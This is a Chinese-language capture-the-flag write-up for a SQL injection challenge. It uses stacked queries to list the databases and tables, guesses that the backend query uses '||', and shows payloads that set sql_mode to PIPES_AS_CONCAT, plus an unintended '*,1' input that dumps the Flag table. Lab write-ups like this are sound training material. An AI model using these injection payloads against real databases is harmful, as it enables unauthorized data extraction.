知识点
- sql注入
- 堆叠注入
启动靶机
启动靶机,查看题目
1.查看数据库
1;show databases;
结果如下:
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
2.查看数据表
1;show tables;
结果如下:
Array ( [0] => 1 ) Array ( [0] => Flag )
3.查数据
1;select * from flag;
flag被过滤
这道题目需要我们去对后端语句进行猜测,有点矛盾的地方在于其描述的功能和实际的功能似乎并不相符,通过输入非零数字得到的回显1和输入其余字符得不到回显来判断出内部的查询语句可能存在有||,也就是select 输入的数据||内置的一个列名 from 表名,进一步进行猜测即为select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知),需要注意的是,此时的||起到的作用是or的作用,猜测后端语句为:
select $post['query']||flag from Flag
- 官方给的 payload 是
1;set sql_mode=PIPES_AS_CONCAT;select 1
- 拼接一下就是
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
- 关于
sql_mode
: 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT
将||
视为字符串的连接操作符而非 “或” 运算符 - 关于
sql_mode
更多可以查看这个链接 : MySQL sql_mode 说明 - 还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个
||
相当于是将select 1
和select flag from flag
的结果拼接在一起
非预期方法
*,1,构造成select *,1 || flag from flag
内置的sql语句为sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为,1,sql语句就变成了select ,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容